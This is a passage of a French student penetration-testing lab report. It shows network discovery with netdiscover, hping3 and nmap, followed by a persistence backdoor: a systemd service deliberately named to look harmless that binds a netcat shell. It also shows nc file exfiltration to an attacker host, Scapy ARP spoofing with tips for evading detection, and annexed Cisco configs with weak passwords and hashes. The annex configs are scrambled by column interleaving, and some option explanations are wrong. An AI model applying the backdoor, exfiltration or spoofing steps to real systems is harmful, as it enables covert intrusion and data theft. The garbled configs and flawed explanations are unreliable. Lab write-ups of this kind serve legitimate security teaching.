a) exécution de la commande : netdiscover -p

50
4) Exécuter un scan actif sur toutes les adresses de classe privé (A,B,C) et activer le
mode passif suite au scan actif
a) netdiscover -P -L
5) Exécuter un scan passif du réseau avec NetDiscover connecté à un port aléatoire du
commutateur (port 9)
a) exécution de la commande : netdiscover -p
6) Exécuter un scan actif sur toutes les adresses de classe privé (A,B,C) et activer le
mode passif suite au scan actif
a) netdiscover -P -L
7) Exécuter un scan passif du réseau avec NetDiscover connecté à un port aléatoire du
commutateur (port 11)
a) exécution de la commande : netdiscover -p
8) Exécuter un scan actif sur toutes les adresses de classe privé (A,B,C) et activer le
mode passif suite au scan actif
a) netdiscover -P -L
Résultats :

- Découverte du réseau 192.168.1.0/24 avec des terminaux


- Découverte du réseau 192.168.10.0/24 avec des terminaux
- Découverte du réseau 192.168.20.0/24 avec des terminaux
- Découverte du réseau 192.168.30.0/24 avec des terminaux
Améliorations :

Ne pas utiliser le “hardmode”, risque de paralysie du réseau.

51
Hping
Objectif :

Suite à la rapide découverte et supervision réseau réalisée par Aymeric grâce à


NetDiscover, nous allons mener une découverte plus en profondeur des hôtes
présents sur le réseau afin de continuer notre phase de reconnaissance. Pour ce
faire, nous utilisons l'outil hping3. A la suite de cette reconnaissance, les données
récoltées seront exploitées par Jean-Baptiste.

Actions :

Nous avons décidé de mener la reconnaissance avec hping3 sans modifier son
fonctionnement de base. Par défaut les paquets envoyés par hping3 sont des trames
TCP envoyées sur le port 0. Cette subtilité permet d'etre sur de joindre l'hôte distant
s'il est bien actif sur le réseau. En effet aucun service ne tourne sur ce port et il est
laissé activé par défaut. Dans l'optique où il y ait un firewall sur l'infrastructure qui
bloquerait les requêtes ping, l'alternative hping3 est très intéressante. De plus aucun
flag TCP n'est défini.

4 tests distincts sur les 4 sous-réseaux identifiés au préalable par Aymeric.

hping3 192.168.1.x --rand-dest --debug -I eth0 --flood


hping3 192.168.10.x --rand-dest --debug -I eth0 --flood
hping3 192.168.20.x --rand-dest --debug -I eth0 --flood
hping3 192.168.30.x --rand-dest --debug -I eth0 --flood

Explication de la commande :
- hping3 fait référence à l'outil hping3.
- 192.168.1.x permet de lancer la commande sur l'ensemble du réseau
définit.
- --rand-source permet de définir des adresses IP cibles aléatoire du réseau
prédéfini.
- --debug permet d'afficher à l'écran les détails lors de l'exécution de l'outil.
- -I eth0 permet de spécifier l'interface de sortie.
- --flood permet d'envoyer aussi vite que possible les requêtes.

52
Filtre Wireshark :

Comme nous l'avons vu précédemment les flags TCP sont tous à 0. Si une cible est
connectée sur le réseau elle répondra automatiquement par un RST/ACK car la
connection n'a pas été initialisée via un SYN.
Il faut donc préciser un filtre dans Wireshark pour n'afficher que les paquets en retour
des paquets envoyés grâce à : (tcp.flags.ack == 1) &&
(tcp.flags.reset == 1).

53
Améliorations :

Afin d'être plus discret sur le réseau il serait préférable de spécifier une option lors de
l'utilisation d'hping3 permettant de générer aléatoirement des adresses mac dans
l'entête du segment TCP : -a --rand-source

Résultats :

L'ensemble des hôtes actifs sur le réseau ont ainsi pu être identifiés. On remarque
également que trois sous réseau (VLANs) sont présents sur le réseau mais qu'un
routage inter vlan est actif car depuis le VLAN 1 sur lequel nous sommes connectés,
nous pouvons joindre les autres sous réseaux. Jean-Baptiste peut continuer la phase
de reconnaissance afin d'établir une liste des services actifs pour orienter nos
attaques.

54
Nmap
L’objectif de cette phase était de déterminer les hôtes qui pouvait être intéressantes. De plus
cela nous permet de différencier et classifier les hôtes, entre autres, entre celles clientes et
celles serveurs.

Nous avons utilisé Nmap pour cela. En utilisant la commande nmap -sV -p 0- HOTES, le
résultat était parlant : la majorité des hôtes sont des clients, car aucun port notable n’est
ouvert, et d’autres, une minorité, sont des serveurs, avec, notamment, le port HTTP d’ouvert.

Pour aller plus vite, nous aurions pu uniquement nous concentrer sur les ports qui
semblaient intéressant. Cela nous aurait aussi permis d’être plus discret. Une autre méthode
pour être plus discret aurait été de temporiser les requêtes.

Bettercap

Systemd
Souvent, l'accès que l'on obtient sur la machine cible est temporaire. En effet, l'exploitation
des vulnérabilités peut s'interrompre si la machine cible redémarre ou se déconnecte du
réseau. Dans notre cas, l’utilisateur peut aussi changer d’identifiants ou le service ssh peut
être désactivé. Une des premières choses à faire est donc de permettre à l'accès d'être
maintenu. La solution que nous proposons est d'installer un service (systemd) permettant le
lancement automatique d'un serveur ncat au démarrage de la machine cible. Systemd (pour
démon du système) permet d’initialiser la machine et de lancer des services au démarrage
de celle-ci.

Nous devons d'abord nous connecter en ssh en testant les identifiants fraîchement obtenus
avec l'outil Bettercap.

Connexion ssh à la machine cible

Par chance, nous nous rendons compte que cet utilisateur utilise le même mot de passe
pour sa session. Nous allons essayer d'avoir les droits utilisateurs avec la commande sudo
su. Encore une fois, nous y parvenons car apparemment, l'utilisateur fait parti des
« sudoers ».

55
Nous avons désormais des droits administrateurs sur la machine, ce qui va nous permettre
de créer un service.

Nous nous rendons dans le dossier /lib/systemd/system puis créons un fichier


networkHealthChecker.service (nous prenons un nom qui pourrait passer inaperçu lors d’un
regard rapide sur les services). Nous allons éditer ce service de manière à ce qu'il exécute la
commande nc -lvp <PORT> -e /bin/sh. De manière à pouvoir se connecter et
déconnecter plusieurs fois à ce serveur ncat, nous insérons ce code dans une boucle infinie.

Contenu du fichier networkHealthChecker.service

Une fois le fichier édité, nous devons créer un lien symbolique du service dans le répertoire
/etc/systemd/system/network-online.target.wants/).

Nous pouvons à présent lancer le service, en rechargeant les démons (systemctl


daemon-reload), et activant notre service (systemctl enable
networkHealthChecker.service ; systemctl start
networkHealthChecker.service). Tout est à présent en place.

Récapitulatif des commandes

Nous pouvons vérifier que le service est bien activé en entrant la commande (systemctl
status serviceLaunch.service). Si le service est actif, nous sommes prêt pour
l’exfiltration de données. Nous pouvons également ourvir un terminal sur notre machine
attaquante et tester de se connecter avec un client ncat (nc -lv <IP> -p <PORT>) pour
vérifier que le maintien d’accès est en place.

56
Si une erreur s’est glissée dans la manipulation, le service ne sera probablement pas actif et
une erreur sera affichée dans le status.

Ncat
Une fois la backdoor installée, il suffit de s’en servir pour récupérer par exemple un fichier.

La première commande va nous permettre de nous connecter sur la deuxième machine en


indiquant le port resté ouvert.

$nc 192.168.20.2 2123

Si la connexion établie, on peut alors naviguer dans le shell de la machine deux. On peut
donc chercher des fichiers. Dans le cas de notre démo, le fichier à récupérer était placé dans
ce répertoire : /home/kimjougnun

Grâce à la commande ls, on trouve finalement le fichier nommé:


supremeLeaderCodeForNuclearWeapon.txt.

Pour le transférer sur notre machine et le conserver, on utilise une autre fonctionnalité de nc.

Dans un second terminal ouvert en mode serveur, on entre la commande:

$nc -lvp 8000 > code.txt

Nous sommes donc en écoute sur notre port 8000, prêt à recevoir un fichier. Nous
redirigeons son contenu dans un fichier nommé code.txt.

Il ne nous reste plus qu’à envoyer le fichier par la commande:

$nc 192.168.1.77 8000 < supremeLeaderCodeForNuclearWeapon.txt.

Scapy
Comme le cycle attaquant est complet avant que Scapy ne rentre en compte dans notre type
d’architecture, ceci est une sorte de partie bonus et nous avons décidé de le présenter ainsi :

- Présentation plus précise de la méthode ARP (afin de faire un ARP poisoning par la
suite)
- Explication en quoi le MITM via l’utilisation de l’ARPpoisoning est visible (“grillé” pour
un administrateur réseau regardant un peu) et comment s’en prémunir

57
1) Méthode ARP et son utilisation avec Scapy
Dans un premier temps, il faut forger le paquet qui nous servira à notre ARP spoofing. Avec
Scapy, il faut donc faire:

>>> packet_ARP= (ARP(psrc ='192.168.1.254', pdst ='192.168.10.2',op=2))

Cette commande sert à créer un paquet ARP, entre le gateway 192.168.1.254 et la machine
cible 192.168.10.2. Ici, l’OPcode est 2, pour signifier qu’il s’agit d’une réponse et pas d’une
requête (1 étant le code de la requête).

Nous plaçons le tout dans une variable appelée ici packet_ARP.

Puis, nous lançons alors la requête et pour spoofer correctement, on doit effectuer une
boucle.

Donc:

>>> send(packet_ARP, loop=1)

De là, sur Wireshark, nous pouvons alors voir que le spoofing est fonctionnel.

Nous pouvons donc passer sur la partie Man In The Middle (MITM) avec Scapy, qui utilise ce
principe.

2) Visibilité et prévention
Un tel procédé est visible par au moins deux méthodes que je vais présenter ici:

- L’écoute du réseau et le fait que les requêtes ARP bouclent et se répètent.


- En étant la cible et en faisant une requête ping (ICMP) et en regardant le TTL.
En effet, pour la première solution, pas besoin de plus d’explication, le visuel parle de lui-
même, il suffit de lancer un écouteur de réseau.

Pour la seconde méthode, si l’on est dans un réseau local et que l’on connaît à la fois notre
propre TTL et celui de la machine cible, on peut donc connaître le TTL théorique entre nous
et la cible. Avec ce genre de MITM, le TTL sera décrémenté de un et donc, on pourra
comparer avec notre TTL connu au préalable.

Donc pour contrer cette méthode de détection, nous pourrions interagir avec le forwarding et
rajouter un dès la réception du paquet, afin que lorsqu’il soit forwardé, le TTL théorique
d’entré soit le même qu’en sortie.

58
Annexes
1) Configuration du routeur R1

! interface FastEthernet0/0.20

version 12.3 encapsulation dot1Q 20

service timestamps debug datetime msec ip address 192.168.20.254 255.255.255.0

service timestamps log datetime msec !

no service password-encryption interface FastEthernet0/0.30

! encapsulation dot1Q 30

hostname Router ip address 192.168.30.254 255.255.255.0

! !

boot-start-marker interface FastEthernet0/1

boot-end-marker ip address dhcp

! duplex auto

enable password toto speed auto

! !

memory-size iomem 10 ip http server

no aaa new-model ip classless

ip subnet-zero !

! !

! !

! !

ip cef !

! !

! !

! banner login ATTENTION: CET


EQUIPEMENT N'EST PAS DU TOUT
! PROTEGE ! MERCI D'ETRE GENTIL

59
! banner motd Bonjour et bienvenue sur ce
super switch !
!
!
!
line con 0
!
line aux 0
!
line vty 0 4
!
password toto
!
login
!
line vty 5 181
!
password toto
!
login
!
!
!
!
interface FastEthernet0/0
End
no ip address

duplex auto

speed auto

interface FastEthernet0/0.1

encapsulation dot1Q 1 native

ip address 192.168.1.254 255.255.255.0

interface FastEthernet0/0.10

encapsulation dot1Q 10

ip address 192.168.10.254 255.255.255.0

60
2) Configuration du commutateur 1

! switchport mode access

! Last configuration change at 15:01:26 !


UTC Thu Sep 14 2017
interface GigabitEthernet1/0/3
! NVRAM config last updated at 15:01:28
UTC Thu Sep 14 2017 switchport access vlan 10

! switchport mode access

version 15.0 !

no service pad interface GigabitEthernet1/0/4

service timestamps debug datetime msec switchport access vlan 10

service timestamps log datetime msec switchport mode access

service password-encryption !

! interface GigabitEthernet1/0/5

hostname switch1 switchport access vlan 20

! switchport mode access

boot-start-marker !

boot-end-marker interface GigabitEthernet1/0/6

! switchport access vlan 20

enable password 7 0835435A06 switchport mode access

! !

no aaa new-model interface GigabitEthernet1/0/7

switch 1 provision ws-c2960x-24ts-l switchport access vlan 20

! switchport mode access

! !

! interface GigabitEthernet1/0/8

! switchport access vlan 20

! switchport mode access

61
! interface GigabitEthernet1/0/9

spanning-tree mode rapid-pvst switchport access vlan 30

spanning-tree extend system-id switchport mode access

! !

! interface GigabitEthernet1/0/10

! switchport access vlan 30

! switchport mode access

! !

! interface GigabitEthernet1/0/11

vlan internal allocation policy ascending switchport access vlan 30

! switchport mode access

! !

! interface GigabitEthernet1/0/12

! switchport access vlan 30

! switchport mode access

! !

interface FastEthernet0 interface GigabitEthernet1/0/13

no ip address !

shutdown interface GigabitEthernet1/0/14

! !

interface GigabitEthernet1/0/1 interface GigabitEthernet1/0/15

switchport access vlan 10 !

switchport mode access interface GigabitEthernet1/0/16

! !

interface GigabitEthernet1/0/2 interface GigabitEthernet1/0/17

switchport access vlan 10 !

interface GigabitEthernet1/0/18 interface Vlan1

! ip address 192.168.1.100 255.255.255.0

62
interface GigabitEthernet1/0/19 !

switchport trunk allowed vlan 10,20,30 ip default-gateway 192.168.1.254

switchport mode trunk ip http server

! ip http secure-server

interface GigabitEthernet1/0/20 !

switchport trunk allowed vlan 1,10,20,30 !

switchport mode trunk !

! banner login ATTENTION: CET


EQUIPEMENT N'EST PAS DU TOUT
interface GigabitEthernet1/0/21 PROTEGE ! MERCI D'ETRE GENTIL
switchport trunk allowed vlan 1,10,20,30 banner motd Bonjour et bienvenue sur ce
super switch !
switchport mode trunk

! !

line con 0
interface GigabitEthernet1/0/22
line vty 0 4
switchport trunk allowed vlan 1,10,20,30
password 7 150604180B
switchport mode trunk
login
!

interface GigabitEthernet1/0/23 line vty 5 15

password 7 150604180B
switchport trunk allowed vlan 1,10,20,30
login
switchport mode trunk
!
!
!
interface GigabitEthernet1/0/24

switchport trunk allowed vlan 1,10,20,30 monitor session 1 source interface Gi1/0/20

switchport mode trunk monitor session 1 destination interface


Gi1/0/18 encapsulation dot1q
!
end
interface GigabitEthernet1/0/25

interface GigabitEthernet1/0/26

63
interface GigabitEthernet1/0/27

interface GigabitEthernet1/0/28

3) Configuration commutateur 2

! !

! Last configuration change at 14:58:57 interface GigabitEthernet1/0/3


UTC Thu Sep 14 2017
switchport access vlan 10
! NVRAM config last updated at 14:58:59
UTC Thu Sep 14 2017 switchport mode access

! !

version 15.0 interface GigabitEthernet1/0/4

no service pad switchport access vlan 10

service timestamps debug datetime msec switchport mode access

service timestamps log datetime msec !

service password-encryption interface GigabitEthernet1/0/5

! switchport access vlan 20

hostname switch2 switchport mode access

! !

boot-start-marker interface GigabitEthernet1/0/6

boot-end-marker switchport access vlan 20

! switchport mode access

enable secret 5 !
$1$QElG$/BW5AYS2PQLv0yj3ZK.6O0 interface GigabitEthernet1/0/7
! switchport access vlan 20
no aaa new-model switchport mode access

64
switch 1 provision ws-c2960x-24ts-l !

! interface GigabitEthernet1/0/8

! switchport access vlan 20

! switchport mode access

! !

! interface GigabitEthernet1/0/9

spanning-tree mode rapid-pvst switchport access vlan 30

spanning-tree extend system-id switchport mode access

! !

! interface GigabitEthernet1/0/10

! switchport access vlan 30

! switchport mode access

! !

! interface GigabitEthernet1/0/11

vlan internal allocation policy ascending switchport access vlan 30

! switchport mode access

! !

! interface GigabitEthernet1/0/12

! switchport access vlan 30

! switchport mode access

! !

interface FastEthernet0 interface GigabitEthernet1/0/13

no ip address !

! interface GigabitEthernet1/0/14

interface GigabitEthernet1/0/1 !

switchport access vlan 10 interface GigabitEthernet1/0/15

switchport mode access !

! interface GigabitEthernet1/0/16

65
interface GigabitEthernet1/0/2 !

switchport access vlan 10 interface GigabitEthernet1/0/17

switchport mode access !

! interface GigabitEthernet1/0/18

interface GigabitEthernet1/0/19 interface Vlan1

! ip address 192.168.1.101 255.255.255.0

interface GigabitEthernet1/0/20 !

! ip default-gateway 192.168.1.254

interface GigabitEthernet1/0/21 ip http server

switchport mode trunk ip http secure-server

! !

interface GigabitEthernet1/0/22 !

switchport mode trunk !

! banner login ATTENTION: CET


EQUIPEMENT N'EST PAS DU TOUT
interface GigabitEthernet1/0/23 PROTEGE ! MERCI D'ETRE GENTIL
switchport mode trunk banner motd Bonjour et bienvenue sur ce
! super switch !

!
interface GigabitEthernet1/0/24
line con 0
switchport mode trunk
line vty 0 4
!
password 7 0958411D16
interface GigabitEthernet1/0/25

! login

interface GigabitEthernet1/0/26 line vty 5 15

password 7 0958411D16
!
login
interface GigabitEthernet1/0/27
!
!
End
interface GigabitEthernet1/0/28

66
4) Configuration commutateur 3

interface FastEthernet2/0/7

! switchport access vlan 20

version 12.2 switchport mode access

no service pad !

service timestamps debug uptime interface FastEthernet2/0/8

service timestamps log uptime switchport access vlan 20

service password-encryption switchport mode access

! !

hostname switch3 interface FastEthernet2/0/9

! switchport access vlan 30

enable password 7 051F091B2E switchport mode access

! !

no aaa new-model interface FastEthernet2/0/10

switch 2 provision ws-c3750-48p switchport access vlan 30

ip subnet-zero switchport mode access

! !

! interface FastEthernet2/0/11

! switchport access vlan 30

! switchport mode access

! !

! interface FastEthernet2/0/12

no file verify auto switchport access vlan 30

spanning-tree mode rapid-pvst switchport mode access

spanning-tree extend system-id !

! interface FastEthernet2/0/13

vlan internal allocation policy ascending !

67
! interface FastEthernet2/0/14

! !

interface FastEthernet2/0/1 interface FastEthernet2/0/15

switchport access vlan 10 !

switchport mode access interface FastEthernet2/0/16

! !

interface FastEthernet2/0/2 interface FastEthernet2/0/17

switchport access vlan 10 !

switchport mode access interface FastEthernet2/0/18

! !

interface FastEthernet2/0/3 interface FastEthernet2/0/19

switchport access vlan 10 !

switchport mode access interface FastEthernet2/0/20

! !

interface FastEthernet2/0/4 interface FastEthernet2/0/21

switchport access vlan 10 !

switchport mode access interface FastEthernet2/0/22

! !

interface FastEthernet2/0/5 interface FastEthernet2/0/23

switchport access vlan 20 !

switchport mode access interface FastEthernet2/0/24

! !

interface FastEthernet2/0/6 interface FastEthernet2/0/25

switchport access vlan 20 !

switchport mode access interface FastEthernet2/0/26

! !

interface FastEthernet2/0/27 interface FastEthernet2/0/48

! switchport trunk encapsulation dot1q

68
interface FastEthernet2/0/28 switchport trunk allowed vlan 1,10,20,30

! switchport mode trunk

interface FastEthernet2/0/29 !

! interface GigabitEthernet2/0/1

interface FastEthernet2/0/30 !

! interface GigabitEthernet2/0/2

interface FastEthernet2/0/31 !

! interface GigabitEthernet2/0/3

interface FastEthernet2/0/32 !

! interface GigabitEthernet2/0/4

interface FastEthernet2/0/33 !

! interface Vlan1

interface FastEthernet2/0/34 ip address 192.168.1.102 255.255.255.0

! !

interface FastEthernet2/0/35 ip default-gateway 192.168.1.254

! ip classless

interface FastEthernet2/0/36 ip http server

! ip http secure-server

interface FastEthernet2/0/37 !

! !

interface FastEthernet2/0/38 !

! control-plane

interface FastEthernet2/0/39 !

! banner login ATTENTION: CET


EQUIPEMENT N'EST PAS DU TOUT
interface FastEthernet2/0/40 PROTEGE ! MERCI D'ETRE GENTIL
! banner motd Bonjour et bienvenue sur ce
super switch !
interface FastEthernet2/0/41

! !

69
interface FastEthernet2/0/42 line con 0

! line vty 0 4

interface FastEthernet2/0/43 password 7 071B2E5841

! login

interface FastEthernet2/0/44 line vty 5 15

! password 7 071B2E5841

interface FastEthernet2/0/45 login

switchport trunk encapsulation dot1q !

switchport trunk allowed vlan 1,10,20,30 end

switchport mode trunk

interface FastEthernet2/0/46

switchport trunk encapsulation dot1q

switchport trunk allowed vlan 1,10,20,30

switchport mode trunk

interface FastEthernet2/0/47

switchport trunk encapsulation dot1q

switchport trunk allowed vlan 1,10,20,30

switchport mode trunk

70